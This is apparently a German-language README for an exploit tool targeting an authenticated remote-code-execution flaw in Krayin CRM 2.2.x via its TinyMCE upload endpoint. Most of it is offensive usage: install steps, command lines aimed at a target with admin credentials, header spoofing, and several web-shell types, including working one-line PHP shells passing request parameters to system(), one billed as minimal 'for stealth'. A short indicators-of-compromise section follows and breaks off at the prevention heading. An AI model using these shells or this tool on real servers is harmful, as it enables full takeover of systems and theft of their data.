🔓 Krayin CRM v2.2.x - Authentifizierte Remote-Code-Ausführung Exploit

⚠️ NUR FÜR AUTORISIERTE SICHERHEITSTESTS - Unbefugte Nutzung ist illegal und unethisch.

📋 Überblick

Dieses Exploit-Tool demonstriert eine kritische, authentifizierte Remote-Code-Ausführungs-Schwachstelle (RCE), die in Krayin CRM Version 2.2.x entdeckt wurde. Die Schwachstelle existiert in der TinyMCE-Datei-Upload-Funktionalität, die es authentifizierten Administratoren ermöglicht, beliebigen PHP-Code auf dem Server hochzuladen und auszuführen.

Eigenschaft	Wert
CVE ID	CVE-2026-38526
Betroffene Software	Krayin CRM v2.2.x
Schwachstellentyp	Authentifizierte Remote-Code-Ausführung (RCE)
Authentifizierung erforderlich	Ja (Admin-Level-Zugriff)
Auswirkung	Vollständige Systemkompromittierung
CVSS-Score	8.8 (Hoch)

🚨 Schwachstellendetails

Die Schwachstelle resultiert aus einer unzureichenden Dateityp-Validierung im TinyMCE-Datei-Upload-Endpunkt (/admin/tinymce/upload). Ein authentifizierter Administrator kann:

• Eine PHP-Datei hochladen, die als Bild-MIME-Typ getarnt ist.
• Die Datei wird an einem webzugänglichen Ort gespeichert.
• Der Angreifer kann dann beliebigen PHP-Code auf dem Server ausführen.

Betroffene Versionen

• Krayin CRM 2.2.0
• Krayin CRM 2.2.1
• Krayin CRM 2.2.2
• Alle 2.2.x Versionen vor dem Patch-Release

✨ Funktionen

• Mehrere Shell-Typen: Basic, Advanced, Minimal, File Manager und Custom.
• Interaktive Shell: Vollständige terminalähnliche Oberfläche mit Befehlshistorie.
• Datei-Upload: Hochladen weiterer Dateien über die Shell.
• CSRF-Token-Extraktion: Automatische Handhabung des CSRF-Schutzes.
• Proxy-Unterstützung: Weiterleitung des Datenverkehrs über HTTP/HTTPS-Proxys.
• Flexible Ausgabeformate: Text, JSON oder Silent-Modus.
• Wiederholungslogik: Automatische Wiederholung bei Verbindungsfehlern.
• Benutzerdefinierte Header: Unterstützung für benutzerdefinierte HTTP-Header.
• Ausführlicher Modus: Detaillierte Debugging-Ausgabe.
• SSL-Unterstützung: Optionale SSL-Zertifikatsprüfung.

📦 Installation

Voraussetzungen

• bash
• Python 3.7+
• pip install httpx beautifulsoup4 colorama

Schnellinstallation

git clone https://github.com/CerberusMrXi/KrayinCRM-RCE-Exploit-CVE-2026-38526/.git
cd KrayinCRM-RCE-Exploit-CVE-2026-38526
pip install -r requirements.txt

Anforderungsdatei (requirements.txt)

httpx>=0.24.0
beautifulsoup4>=4.12.0
colorama>=0.4.6

🚀 Verwendung

Grundlegende Befehlssyntax

python3 exploit.py -t <TARGET_URL> -u <USERNAME> -p <PASSWORD> [OPTIONS]

Erforderliche Parameter

Parameter	Beschreibung
-t, --target	Ziel-URL (z.B. http://192.168.1.100)
-u, --username	Admin-Benutzername oder E-Mail
-p, --password	Admin-Passwort

Häufige Verwendungsbeispiele

# Basic exploitation with generated shell
python3 exploit.py -t http://target.com -u [email protected] -p password

# Upload custom PHP shell file
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php

# Generate advanced shell with interactive mode
python3 exploit.py -t http://target.com -u [email protected] -p password --shell-type advanced -i

# Generate shell file without exploitation
python3 exploit.py -t http://target.com -u [email protected] -p password --generate-only --shell-type advanced -o my_shell.php

# Use with proxy for testing/debugging
python3 exploit.py -t http://target.com -u [email protected] -p password --proxy http://127.0.0.1:8080

# JSON output for automation
python3 exploit.py -t http://target.com -u [email protected] -p password -f shell.php -o json

# Verbose mode with custom timeout
python3 exploit.py -t http://target.com -u [email protected] -p password -v --timeout 60

# Custom User-Agent and headers
python3 exploit.py -t http://target.com -u [email protected] -p password --user-agent "CustomUA/1.0" --header "X-Forwarded-For: 127.0.0.1"

🐚 Shell-Typen

1. Basic Shell (basic) Einfache Befehlsausführung mit der system()-Funktion.

   <?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>
   

2. Advanced Shell (advanced) Funktionsreiche Shell mit:

   • Mehreren Befehlsausführungsmethoden
   • Schönem terminalähnlichen Web-Interface
   • Unterstützung der Befehlshistorie
   • Anzeige des aktuellen Benutzers und Hostnamens

3. Minimal Shell (minimal) Minimaler Fußabdruck für Heimlichkeit.

   <?php system($_GET["cmd"]); ?>
   

4. File Manager (file_manager) Vollständige Dateiverwaltungsschnittstelle:

   • Datei-Upload
   • Dateilöschung
   • Verzeichniserstellung
   • Navigation
   • Dateiberechtigungsanzeige

5. Custom Shell (custom) Verwenden Sie Ihre eigene PHP-Shell-Datei mit dem Parameter -f.

📝 Ausgabeformate

Textformat (Standard)

Menschenlesbare, farbige Ausgabe für die interaktive Nutzung.

JSON-Format (-o json)

Maschinenlesbares Format für Automatisierung und Integration.

{
  "success": true,
  "shell_url": "http://target.com/shell.php",
  "upload_url": "/storage/upload/shell.php",
  "message": "Upload successful",
  "timestamp": 1699123456.789,
  "details": {
    "status_code": 200,
    "response": "..."
  }
}

Silent-Format (-q, --quiet)

Keine Ausgabe außer bei Fehlern. Nützlich für die Stapelverarbeitung.

⚙️ Erweiterte Optionen

Option	Beschreibung	Standard
--timeout	Zeitüberschreitung für Anfragen in Sekunden	30
--retry	Anzahl der Wiederholungsversuche	3
--retry-delay	Verzögerung zwischen Wiederholungen in Sekunden	2
--user-agent	Benutzerdefinierte User-Agent-Zeichenfolge	Standard-Browser-UA
--header	Benutzerdefinierte HTTP-Header (Key: Value)	Keine
--verify-ssl	SSL-Zertifikate überprüfen	False
--proxy	HTTP/HTTPS-Proxy-URL	Keine
-v, --verbose	Debug-Ausgabe aktivieren	False
-q, --quiet	Gesamte Ausgabe unterdrücken	False

Beispiel für benutzerdefinierte Header

--header "X-Custom-Header: value" --header "User-Agent: CustomUA/1.0"

🔒 Erkennung & Prävention

Anzeichen einer Kompromittierung (IoC)

• Zu überwachende Dateien:

  • Ungewöhnliche PHP-Dateien in public/storage/upload/
  • Dateien mit doppelten Erweiterungen (z.B. image.php.jpg)
  • Neue Dateien mit verdächtigen Namen

• Zu prüfende Logs:

  • /admin/tinymce/upload POST-Anfragen
  • Ungewöhnliche Admin-Anmeldezeiten
  • Fehlgeschlagene Authentifizierungsversuche

• Systemindikatoren:

  • Unerwartete laufende Prozesse
  • Neue Cron-Jobs
  • Modifizierte Systemdateien

Präventionsmaßnahmen